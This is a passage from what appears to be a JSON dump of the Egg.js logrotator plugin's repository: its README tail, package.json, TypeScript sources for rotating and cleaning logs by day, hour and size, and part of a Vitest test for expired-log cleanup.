targetPath，\n    // LogRotator 会将 srcPath 重命名成 targetPath\n    *getRotateFiles() {\n      const files = new Map();\n      const srcPath = '/home/admin/foo.log';\n      const targetPath = '/home/admin/foo.log.2016.09.30';\n      files.set(srcPath, { srcPath, targetPath });\n      return files;\n    }\n  }\n  return new CustomRotator({ app });\n}\n```\n\n你只需要定义一个 getRotateFiles 方法，指定重命名的 map。\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/logrotator/package.json",
    "content": "{\n  \"name\": \"@eggjs/logrotator\",\n  \"version\": \"5.0.2-beta.5\",\n  \"description\": \"logrotator for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"egg-plugin\",\n    \"eggPlugin\",\n    \"logger\",\n    \"logrotator\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/logrotator#readme\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"tianyi.jiangty\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/logrotator\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/agent\": \"./src/app/extend/agent.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./app/schedule/clean_log\": \"./src/app/schedule/clean_log.ts\",\n    \"./app/schedule/rotate_by_file\": \"./src/app/schedule/rotate_by_file.ts\",\n    \"./app/schedule/rotate_by_hour\": \"./src/app/schedule/rotate_by_hour.ts\",\n    \"./app/schedule/rotate_by_size\": \"./src/app/schedule/rotate_by_size.ts\",\n    \"./boot\": \"./src/boot.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./lib/day_rotator\": \"./src/lib/day_rotator.ts\",\n    \"./lib/hour_rotator\": \"./src/lib/hour_rotator.ts\",\n    \"./lib/rotator\": \"./src/lib/rotator.ts\",\n    \"./lib/size_rotator\": \"./src/lib/size_rotator.ts\",\n    \"./lib/utils\": \"./src/lib/utils.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/agent\": \"./dist/app/extend/agent.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./app/schedule/clean_log\": \"./dist/app/schedule/clean_log.js\",\n      \"./app/schedule/rotate_by_file\": \"./dist/app/schedule/rotate_by_file.js\",\n      \"./app/schedule/rotate_by_hour\": \"./dist/app/schedule/rotate_by_hour.js\",\n      \"./app/schedule/rotate_by_size\": \"./dist/app/schedule/rotate_by_size.js\",\n      \"./boot\": \"./dist/boot.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./lib/day_rotator\": \"./dist/lib/day_rotator.js\",\n      \"./lib/hour_rotator\": \"./dist/lib/hour_rotator.js\",\n      \"./lib/rotator\": \"./dist/lib/rotator.js\",\n      \"./lib/size_rotator\": \"./dist/lib/size_rotator.js\",\n      \"./lib/utils\": \"./dist/lib/utils.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"moment\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/schedule\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"egg-logger\": \"catalog:\",\n    \"glob\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">= 22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/logrotator/src/agent.ts",
    "content": "import { Boot } from './boot.ts';\n\nexport default Boot;\n"
  },
  {
    "path": "plugins/logrotator/src/app/extend/agent.ts",
    "content": "import { LogRotator } from '../../lib/rotator.ts';\n\n// egg-schedule will load both at app and agent, so we should mount it for compatible\nconst extensions: {\n  LogRotator: typeof LogRotator;\n} = {\n  LogRotator,\n};\n\nexport default extensions;\n"
  },
  {
    "path": "plugins/logrotator/src/app/extend/application.ts",
    "content": "import { LogRotator } from '../../lib/rotator.ts';\n\nconst extensions: {\n  LogRotator: typeof LogRotator;\n} = {\n  LogRotator,\n};\n\nexport default extensions;\n"
  },
  {
    "path": "plugins/logrotator/src/app/schedule/clean_log.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport type { Application } from 'egg';\nimport type { EggScheduleHandler } from 'egg/schedule';\nimport moment from 'moment';\nimport { exists } from 'utility';\n\nimport { walkLoggerFile } from '../../lib/utils.ts';\n\n// clean all xxx.log.YYYY-MM-DD before expired date.\nexport default (app: Application): EggScheduleHandler => ({\n  schedule: {\n    type: 'worker', // only one worker run this task\n    cron: '0 0 * * *', // run every day at 00:00\n  },\n\n  async task(): Promise<void> {\n    const logger = app.coreLogger;\n    const logDirs = new Set<string>();\n    const loggerFiles = walkLoggerFile(app.loggers);\n    for (const file of loggerFiles) {\n      const logDir = path.dirname(file);\n      logDirs.add(logDir);\n    }\n    const maxDays = app.config.logrotator.maxDays;\n    if (maxDays && maxDays > 0) {\n      try {\n        const tasks = Array.from(logDirs, (logDir) => removeExpiredLogFiles(logDir, maxDays, logger));\n        await Promise.all(tasks);\n      } catch (err) {\n        logger.error(err);\n      }\n    }\n\n    logger.info('[@eggjs/logrotator] clean all log before %s days', maxDays);\n  },\n});\n\n// remove expired log files: xxx.log.YYYY-MM-DD\nasync function removeExpiredLogFiles(logDir: string, maxDays: number, logger: Application['coreLogger']) {\n  // ignore not exists dir\n  const stat = await exists(logDir);\n  if (!stat) {\n    logger.warn(`[@eggjs/logrotator] logDir ${logDir} not exists`);\n    return;\n  }\n\n  const files = await fs.readdir(logDir);\n  const expiredDate = moment().subtract(maxDays, 'days').startOf('date');\n  const names = files.filter((file) => {\n    const name = path.extname(file).slice(1);\n    if (!/^\\d{4}-\\d{2}-\\d{2}/.test(name)) {\n      return false;\n    }\n    const date = moment(name, 'YYYY-MM-DD').startOf('date');\n    if (!date.isValid()) {\n      return false;\n    }\n    return date.isBefore(expiredDate);\n  });\n  if (names.length === 0) {\n    return;\n  }\n\n  logger.info(`[@eggjs/logrotator] start remove ${logDir} files: ${names.join(', ')}`);\n\n  await Promise.all(\n    names.map(async (name) => {\n      const logFile = path.join(logDir, name);\n      try {\n        await fs.unlink(logFile);\n      } catch (e) {\n        const err = e as Error;\n        err.message = `[@eggjs/logrotator] remove logFile ${logFile} error, ${err.message}`;\n        logger.error(err);\n      }\n    }),\n  );\n}\n"
  },
  {
    "path": "plugins/logrotator/src/app/schedule/rotate_by_file.ts",
    "content": "import type { Application } from 'egg';\nimport type { EggScheduleHandler } from 'egg/schedule';\n\nimport { DayRotator } from '../../lib/day_rotator.ts';\n\nexport default (app: Application): EggScheduleHandler => {\n  const rotator = new DayRotator({ app });\n\n  return {\n    schedule: {\n      type: 'worker', // only one worker run this task\n      cron: '1 0 0 * * *', // run every day at 00:00\n      disable: app.config.logrotator.disableRotateByDay,\n    },\n\n    async task(): Promise<void> {\n      await rotator.rotate();\n    },\n  };\n};\n"
  },
  {
    "path": "plugins/logrotator/src/app/schedule/rotate_by_hour.ts",
    "content": "import type { Application } from 'egg';\nimport type { EggScheduleHandler } from 'egg/schedule';\n\nimport { HourRotator } from '../../lib/hour_rotator.ts';\n\nexport default (app: Application): EggScheduleHandler => {\n  const rotator = new HourRotator({ app });\n\n  return {\n    schedule: {\n      type: 'worker', // only one worker run this task\n      cron: '1 * * * *', // run every hour at 01\n      disable: (app.config.logrotator.filesRotateByHour || []).length === 0,\n    },\n\n    async task(): Promise<void> {\n      await rotator.rotate();\n    },\n  };\n};\n"
  },
  {
    "path": "plugins/logrotator/src/app/schedule/rotate_by_size.ts",
    "content": "import type { Application } from 'egg';\nimport type { EggScheduleHandler } from 'egg/schedule';\n\nimport { SizeRotator } from '../../lib/size_rotator.ts';\n\nexport default (app: Application): EggScheduleHandler => {\n  const rotator = new SizeRotator({ app });\n\n  return {\n    schedule: {\n      type: 'worker',\n      interval: app.config.logrotator.rotateDuration,\n      disable: (app.config.logrotator.filesRotateBySize || []).length === 0,\n    },\n\n    async task(): Promise<void> {\n      await rotator.rotate();\n    },\n  };\n};\n"
  },
  {
    "path": "plugins/logrotator/src/app.ts",
    "content": "import { Boot } from './boot.ts';\n\nexport default Boot;\n"
  },
  {
    "path": "plugins/logrotator/src/boot.ts",
    "content": "import type { Application, ILifecycleBoot } from 'egg';\n\nexport class Boot implements ILifecycleBoot {\n  private readonly app;\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  async didLoad(): Promise<void> {\n    // reload logger to new fd after rotating\n    this.app.messenger.on('log-reload', () => {\n      this.app.loggers.reload();\n      this.app.coreLogger.info('[@eggjs/logrotator] %s logger reload: got log-reload message', this.app.type);\n    });\n  }\n}\n"
  },
  {
    "path": "plugins/logrotator/src/config/config.default.ts",
    "content": "export interface LogrotatorConfig {\n  /**\n   * Disable rotate by day\n   *\n   * Default: `false`\n   */\n  disableRotateByDay: boolean;\n  /**\n   * List of files that will be rotated by hour\n   *\n   * Default: `null`\n   */\n  filesRotateByHour: string[] | null;\n  /**\n   * Hour delimiter\n   *\n   * Default: `-`\n   */\n  hourDelimiter: string;\n  /**\n   * List of files that will be rotated by size\n   *\n   * Default: `null`\n   */\n  filesRotateBySize: string[] | null;\n  /**\n   * Max file size to judge if any file need rotate\n   *\n   * Default: `50 * 1024 * 1024`\n   */\n  maxFileSize: number;\n  /**\n   * Max files to keep\n   *\n   * Default: `10`\n   */\n  maxFiles: number;\n  /**\n   * Time interval to judge if any file need rotate\n   *\n   * Default: `60000`\n   */\n  rotateDuration: number;\n  /**\n   * Max days to keep log files, set `0` to keep all logs.\n   *\n   * Default: `31`\n   */\n  maxDays: number;\n  /**\n   * Enable gzip compression for rotated files\n   *\n   * Default: `false`\n   */\n  gzip: boolean;\n}\n\nexport default {\n  logrotator: {\n    disableRotateByDay: false,\n    filesRotateByHour: null,\n    hourDelimiter: '-',\n    filesRotateBySize: null,\n    maxFileSize: 50 * 1024 * 1024,\n    maxFiles: 10,\n    rotateDuration: 60_000,\n    maxDays: 31,\n    gzip: false,\n  } as LogrotatorConfig,\n};\n"
  },
  {
    "path": "plugins/logrotator/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\n/**\n * LogRotator plugin\n *\n * @since 4.1.0\n * Usage:\n * ```ts\n * // config/plugin.ts\n * import logrotatorPlugin from '@eggjs/logrotator';\n *\n * export default {\n *   ...logrotatorPlugin(),\n * };\n * ```\n */\nexport default definePluginFactory({\n  name: 'logrotator',\n  enable: true,\n  path: import.meta.dirname,\n  dependencies: ['schedule'],\n}) as EggPluginFactory;\n\nexport * from './lib/rotator.ts';\n"
  },
  {
    "path": "plugins/logrotator/src/lib/day_rotator.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport moment from 'moment';\nimport { exists } from 'utility';\n\nimport { LogRotator, type RotateFile, type RotatorOptions } from './rotator.ts';\nimport { walkLoggerFile } from './utils.ts';\n\nconst debug = debuglog('egg/logrotator/lib/day_rotator');\n\n// rotate log by day\n// rename from foo.log to foo.log.YYYY-MM-DD\nexport class DayRotator extends LogRotator {\n  private filesRotateBySize: string[];\n  private filesRotateByHour: string[];\n\n  constructor(options: RotatorOptions) {\n    super(options);\n    this.filesRotateBySize = this.app.config.logrotator.filesRotateBySize ?? [];\n    this.filesRotateByHour = this.app.config.logrotator.filesRotateByHour ?? [];\n  }\n\n  async getRotateFiles(): Promise<Map<string, RotateFile>> {\n    const files = new Map<string, RotateFile>();\n    const logDir = this.app.config.logger.dir;\n    const loggers = this.app.loggers;\n    const loggerFiles = walkLoggerFile(loggers);\n    for (let file of loggerFiles) {\n      // support relative path\n      if (!path.isAbsolute(file)) {\n        file = path.join(logDir, file);\n      }\n      this._setFile(file, files);\n    }\n\n    // Should rotate agent log, because schedule is running under app worker,\n    // agent log is the only difference between app worker and agent worker.\n    // - app worker -> egg-web.log\n    // - agent worker -> egg-agent.log\n    const agentLogName = this.app.config.logger.agentLogName;\n    this._setFile(path.join(logDir, agentLogName), files);\n\n    // rotateLogDirs is deprecated\n    // @ts-expect-error rotateLogDirs is not typed\n    const rotateLogDirs = this.app.config.logger.rotateLogDirs;\n    if (rotateLogDirs && rotateLogDirs.length > 0) {\n      this.app.deprecate(\n        '[@eggjs/logrotator] Do not use app.config.logger.rotateLogDirs, only rotate core loggers and custom loggers',\n      );\n\n      for (const dir of rotateLogDirs) {\n        const stat = await exists(dir);\n        if (!stat) continue;\n\n        try {\n          const names = await fs.readdir(dir);\n          for (const name of names) {\n            if (!name.endsWith('.log')) {\n              continue;\n            }\n            this._setFile(path.join(dir, name), files);\n          }\n        } catch (err) {\n          this.logger.error(err);\n        }\n      }\n    }\n\n    return files;\n  }\n\n  _setFile(srcPath: string, files: Map<string, RotateFile>): void {\n    // don't rotate logPath in filesRotateBySize\n    if (this.filesRotateBySize.includes(srcPath)) {\n      return;\n    }\n\n    // don't rotate logPath in filesRotateByHour\n    if (this.filesRotateByHour.includes(srcPath)) {\n      return;\n    }\n\n    if (!files.has(srcPath)) {\n      const ext = this.app.config.logrotator.gzip === true ? '.gz' : '';\n      // allow 2 minutes deviation\n      const targetPath = srcPath + moment().subtract(23, 'hours').subtract(58, 'minutes').format('.YYYY-MM-DD') + ext;\n      debug('set file %s => %s', srcPath, targetPath);\n      files.set(srcPath, { srcPath, targetPath });\n    }\n  }\n}\n"
  },
  {
    "path": "plugins/logrotator/src/lib/hour_rotator.ts",
    "content": "import path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport moment from 'moment';\nimport { exists } from 'utility';\n\nimport { LogRotator, type RotateFile } from './rotator.ts';\n\nconst debug = debuglog('egg/logrotator/lib/hour_rotator');\n\n// rotate log by hour\n// rename from foo.log to foo.log.YYYY-MM-DD-HH\nexport class HourRotator extends LogRotator {\n  async getRotateFiles(): Promise<Map<string, RotateFile>> {\n    const files = new Map<string, RotateFile>();\n    const logDir = this.app.config.logger.dir;\n    const filesRotateByHour = this.app.config.logrotator.filesRotateByHour ?? [];\n\n    for (let logPath of filesRotateByHour) {\n      // support relative path\n      if (!path.isAbsolute(logPath)) {\n        logPath = path.join(logDir, logPath);\n      }\n      const stat = await exists(logPath);\n      if (!stat) {\n        continue;\n      }\n      this._setFile(logPath, files);\n    }\n\n    return files;\n  }\n\n  get hourDelimiter(): string {\n    return this.app.config.logrotator.hourDelimiter;\n  }\n\n  _setFile(srcPath: string, files: Map<string, RotateFile>): void {\n    if (!files.has(srcPath)) {\n      const ext = this.app.config.logrotator.gzip === true ? '.gz' : '';\n      const targetPath = srcPath + moment().subtract(1, 'hours').format(`.YYYY-MM-DD${this.hourDelimiter}HH`) + ext;\n      debug('set file %s => %s', srcPath, targetPath);\n      files.set(srcPath, { srcPath, targetPath });\n    }\n  }\n}\n"
  },
  {
    "path": "plugins/logrotator/src/lib/rotator.ts",
    "content": "import assert from 'node:assert';\nimport { createWriteStream, createReadStream } from 'node:fs';\nimport fs from 'node:fs/promises';\nimport { pipeline } from 'node:stream/promises';\nimport { debuglog } from 'node:util';\nimport { createGzip } from 'node:zlib';\n\nimport type { Application } from 'egg';\nimport { exists } from 'utility';\n\nconst debug = debuglog('egg/logrotator/lib/rotator');\n\nexport interface RotatorOptions {\n  app: Application;\n}\n\nexport interface RotateFile {\n  srcPath: string;\n  targetPath: string;\n}\n\nexport abstract class LogRotator {\n  protected readonly options: RotatorOptions;\n  protected readonly app: Application;\n  protected readonly logger: Application['coreLogger'];\n\n  constructor(options: RotatorOptions) {\n    this.options = options;\n    assert(this.options.app, 'options.app is required');\n    this.app = this.options.app;\n    this.logger = this.app.coreLogger;\n  }\n\n  abstract getRotateFiles(): Promise<Map<string, RotateFile>>;\n\n  async rotate(): Promise<void> {\n    const files = await this.getRotateFiles();\n    assert(files instanceof Map, 'getRotateFiles should return a Map');\n    const rotatedFiles: string[] = [];\n    for (const file of files.values()) {\n      try {\n        debug('rename from %s to %s', file.srcPath, file.targetPath);\n        await renameOrDelete(file.srcPath, file.targetPath, this.app.config.logrotator.gzip);\n        rotatedFiles.push(`${file.srcPath} -> ${file.targetPath}`);\n      } catch (e) {\n        const err = e as Error;\n        err.message = `[@eggjs/logrotator] rename ${file.srcPath}, found exception: ${err.message}`;\n        this.logger.error(err);\n      }\n    }\n\n    if (rotatedFiles.length > 0) {\n      // tell every one to reload logger\n      debug('broadcast log-reload, rotated files: %j', rotatedFiles);\n      this.logger.info('[@eggjs/logrotator] broadcast log-reload');\n      this.app.messenger.sendToApp('log-reload');\n      this.app.messenger.sendToAgent('log-reload');\n    }\n\n    this.logger.info('[@eggjs/logrotator] rotate files success by %s, files %j', this.constructor.name, rotatedFiles);\n  }\n}\n\n// rename from srcPath to targetPath, for example foo.log.1 > foo.log.2\n// if gzip is true, then use gzip to compress the file, and delete the src file, for example foo.log.1 -> foo.log.2.gz\nasync function renameOrDelete(srcPath: string, targetPath: string, gzip: boolean) {\n  if (srcPath === targetPath) {\n    return;\n  }\n  const srcExists = await exists(srcPath);\n  if (!srcExists) {\n    return;\n  }\n  const targetExists = await exists(targetPath);\n  // if target file exists, then throw\n  // because the target file always be renamed first.\n  if (targetExists) {\n    const err = new Error(`targetFile ${targetPath} exists!!!`);\n    throw err;\n  }\n  // if gzip is true, then use gzip\n  if (gzip === true) {\n    const tmpPath = `${targetPath}.tmp`;\n    await fs.rename(srcPath, tmpPath);\n    await pipeline(createReadStream(tmpPath), createGzip(), createWriteStream(targetPath));\n    await fs.unlink(tmpPath);\n  } else {\n    await fs.rename(srcPath, targetPath);\n  }\n}\n"
  },
  {
    "path": "plugins/logrotator/src/lib/size_rotator.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { exists } from 'utility';\n\nimport { LogRotator, type RotateFile } from './rotator.ts';\n\nconst debug = debuglog('egg/logrotator/lib/size_rotator');\n\n// rotate log by size, if the size of file over maxFileSize,\n// it will rename from foo.log to foo.log.1\n// if foo.log.1 exists, foo.log.1 will rename to foo.log.2\nexport class SizeRotator extends LogRotator {\n  async getRotateFiles(): Promise<Map<string, RotateFile>> {\n    const files = new Map<string, RotateFile>();\n    const logDir = this.app.config.logger.dir;\n    const filesRotateBySize = this.app.config.logrotator.filesRotateBySize ?? [];\n    const maxFileSize = this.app.config.logrotator.maxFileSize;\n    const maxFiles = this.app.config.logrotator.maxFiles;\n    for (let logPath of filesRotateBySize) {\n      // support relative path\n      if (!path.isAbsolute(logPath)) {\n        logPath = path.join(logDir, logPath);\n      }\n      const stat = await exists(logPath);\n      if (!stat) {\n        continue;\n      }\n      const size = stat.size;\n      try {\n        if (size >= maxFileSize) {\n          this.logger.info(\n            `[@eggjs/logrotator] file ${logPath} reach the maximum file size, current size: ${size}, max size: ${maxFileSize}`,\n          );\n          // delete max log file if exists, otherwise will throw when rename\n          const maxFileName = `${logPath}.${maxFiles}`;\n          const stat = await exists(maxFileName);\n          if (stat) {\n            await fs.unlink(maxFileName);\n            this.logger.info(`[@eggjs/logrotator] delete max log file ${maxFileName}`);\n          }\n          this._setFile(logPath, files);\n        }\n      } catch (e) {\n        const err = e as Error;\n        err.message = `[@eggjs/logrotator] ${err.message}`;\n        this.logger.error(err);\n      }\n    }\n    return files;\n  }\n\n  _setFile(logPath: string, files: Map<string, RotateFile>): void {\n    const maxFiles = this.app.config.logrotator.maxFiles;\n    if (files.has(logPath)) {\n      return;\n    }\n    const ext = this.app.config.logrotator.gzip === true ? '.gz' : '';\n    // foo.log.2 -> foo.log.3\n    // foo.log.1 -> foo.log.2\n    for (let i = maxFiles - 1; i >= 1; i--) {\n      const srcPath = `${logPath}.${i}`;\n      const targetPath = `${logPath}.${i + 1}${ext}`;\n      debug('set file %s => %s', srcPath, targetPath);\n      files.set(srcPath, { srcPath, targetPath });\n    }\n    // foo.log -> foo.log.1\n    debug('set file %s => %s', logPath, `${logPath}.1`);\n    files.set(logPath, { srcPath: logPath, targetPath: `${logPath}.1${ext}` });\n  }\n}\n"
  },
  {
    "path": "plugins/logrotator/src/lib/utils.ts",
    "content": "interface LoggerTransport {\n  options: {\n    file: string;\n  };\n}\n\n/**\n * Walk all logger files from loggers\n */\nexport function walkLoggerFile(loggers: Record<string, Map<string, LoggerTransport>>): string[] {\n  const files: string[] = [];\n  for (const registeredLogger of Object.values(loggers)) {\n    for (const transport of registeredLogger.values()) {\n      const file = transport.options.file;\n      if (file) {\n        files.push(file);\n      }\n    }\n  }\n  return files;\n}\n"
  },
  {
    "path": "plugins/logrotator/src/types.ts",
    "content": "import type { LogrotatorConfig } from './config/config.default.ts';\nimport type { LogRotator } from './lib/rotator.ts';\n\ndeclare module 'egg' {\n  // add EggAppConfig overrides types\n  interface EggAppConfig {\n    /**\n     * logrotator options\n     * @member Config#logrotator\n     */\n    logrotator: LogrotatorConfig;\n  }\n\n  interface Agent {\n    LogRotator: typeof LogRotator;\n  }\n\n  interface Application {\n    LogRotator: typeof LogRotator;\n  }\n}\n"
  },
  {
    "path": "plugins/logrotator/test/__snapshots__/clean_log.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`test/clean_log.test.ts > should keep config stable 1`] = `\n{\n  \"disableRotateByDay\": false,\n  \"filesRotateByHour\": null,\n  \"filesRotateBySize\": null,\n  \"gzip\": false,\n  \"hourDelimiter\": \"-\",\n  \"maxDays\": 31,\n  \"maxFileSize\": 52428800,\n  \"maxFiles\": 10,\n  \"rotateDuration\": 60000,\n}\n`;\n"
  },
  {
    "path": "plugins/logrotator/test/clean_log.test.ts",
    "content": "import fs from 'node:fs';\nimport fsPromises, { mkdir, rm } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { FileTransport } from 'egg-logger';\nimport { glob } from 'glob';\nimport moment from 'moment';\nimport { describe, it, beforeEach, afterEach, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\nconst schedule = path.join(import.meta.dirname, '../src/app/schedule/clean_log');\nconst now = moment().startOf('date');\n\ndescribe('test/clean_log.test.ts', () => {\n  afterEach(mm.restore);\n\n  let app: MockApplication;\n  let logDir: string;\n  beforeEach(async () => {\n    app = mm.app({\n      baseDir: getFixtures('clean-log'),\n      cache: false,\n    });\n    await app.ready();\n    logDir = app.config.logger.dir;\n    const bizLogger = app.loggers.get('bizLogger');\n    expect(bizLogger).toBeDefined();\n    bizLogger!.set(\n      'anotherFile',\n      new FileTransport({\n        file: path.join(app.config.customLogger.bizLogger.file, '..', 'another-biz.log'),\n      }),\n    );\n  });\n  afterEach(() => app.close());\n\n  it('should keep config stable', () => {\n    expect(app.config.logrotator).toMatchSnapshot();\n  });\n\n  it.skipIf(process.platform === 'win32')('should clean log by maxDays', async () => {\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(1, 'days').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(7, 'days').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(30, 'days').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(31, 'days').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(\n      path.join(\n        app.config.customLogger.bizLogger.file,\n        '..',\n        `biz.log.${now.clone().subtract(31, 'days').format('YYYY-MM-DD')}`,\n      ),\n      'foo',\n    );\n    fs.writeFileSync(\n      path.join(\n        app.config.customLogger.bizLogger.file,\n        '..',\n        `another-biz.log.${now.clone().subtract(31, 'days').format('YYYY-MM-DD')}`,\n      ),\n      'foo',\n    );\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(32, 'days').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(33, 'days').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(50, 'days').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(6, 'months').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(1, 'years').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(\n      path.join(\n        app.config.customLogger.bizLogger.file,\n        '..',\n        `biz.log.${now.clone().subtract(1, 'years').format('YYYY-MM-DD')}`,\n      ),\n      'foo',\n    );\n    fs.writeFileSync(\n      path.join(\n        app.config.customLogger.bizLogger.file,\n        '..',\n        `another-biz.log.${now.clone().subtract(1, 'years').format('YYYY-MM-DD')}`,\n      ),\n      'foo',\n    );\n\n    await app.runSchedule(schedule);\n\n    const files = glob.sync(path.join(logDir, '*.log.*'));\n    expect(files.length).toBeGreaterThanOrEqual(5);\n    expect(\n      files.some((name) => name.includes('foo.log.')),\n      `files: ${JSON.stringify(files)}`,\n    );\n\n    let filepath: string;\n    filepath = `foo.log.${now.format('YYYY-MM-DD')}`;\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(true);\n\n    // won't clean, because maxDay is 31\n    filepath = `foo.log.${now.clone().subtract(1, 'days').format('YYYY-MM-DD')}`;\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(true);\n\n    filepath = `foo.log.${now.clone().subtract(7, 'days').format('YYYY-MM-DD')}`;\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(true);\n\n    filepath = `foo.log.${now.clone().subtract(30, 'days').format('YYYY-MM-DD')}`;\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(true);\n\n    filepath = `foo.log.${now.clone().subtract(31, 'days').format('YYYY-MM-DD')}`;\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(true);\n\n    filepath = path.join(\n      app.config.customLogger.bizLogger.file,\n      '..',\n      `biz.log.${now.clone().subtract(31, 'days').format('YYYY-MM-DD')}`,\n    );\n    expect(fs.existsSync(filepath)).toBe(true);\n\n    filepath = path.join(\n      app.config.customLogger.bizLogger.file,\n      '..',\n      `another-biz.log.${now.clone().subtract(31, 'days').format('YYYY-MM-DD')}`,\n    );\n    expect(fs.existsSync(filepath)).toBe(true);\n\n    // clean below\n    filepath = `foo.log.${now.clone().subtract(32, 'days').format('YYYY-MM-DD')}`;\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(false);\n\n    filepath = `foo.log.${now.clone().subtract(33, 'days').format('YYYY-MM-DD')}`;\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(false);\n\n    filepath = `foo.log.${now.clone().subtract(50, 'days').format('YYYY-MM-DD')}`;\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(false);\n\n    filepath = `foo.log.${now.clone().subtract(6, 'months').format('YYYY-MM-DD')}`;\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(false);\n\n    filepath = `foo.log.${now.clone().subtract(1, 'years').format('YYYY-MM-DD')}`;\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(false);\n\n    expect(\n      fs.existsSync(\n        path.join(\n          app.config.customLogger.bizLogger.file,\n          '..',\n          `biz.log.${now.clone().subtract(1, 'years').format('YYYY-MM-DD')}`,\n        ),\n      ),\n    ).toBe(false);\n\n    expect(\n      fs.existsSync(\n        path.join(\n          app.config.customLogger.bizLogger.file,\n          '..',\n          `another-biz.log.${now.clone().subtract(1, 'years').format('YYYY-MM-DD')}`,\n        ),\n      ),\n    ).toBe(false);\n  });\n\n  it('should not clean log with invalid date', async () => {\n    // invalid date\n    fs.writeFileSync(path.join(logDir, 'foo.log.0000-00-00'), 'foo');\n\n    await app.runSchedule(schedule);\n\n    const filepath = 'foo.log.0000-00-00';\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(true);\n  });\n\n  it('should not clean log with invalid format', async () => {\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(33, 'days').format('YYYYMMDD')}`), 'foo');\n\n    await app.runSchedule(schedule);\n\n    const filepath = `foo.log.${now.clone().subtract(33, 'days').format('YYYYMMDD')}`;\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(true);\n  });\n\n  it('should clean log with YYYY-MM-DD-HH', async () => {\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(33, 'days').format('YYYY-MM-DD-HH')}`), 'foo');\n\n    await app.runSchedule(schedule);\n\n    // should clean log.YYYY-MM-DD-HH\n    const filepath 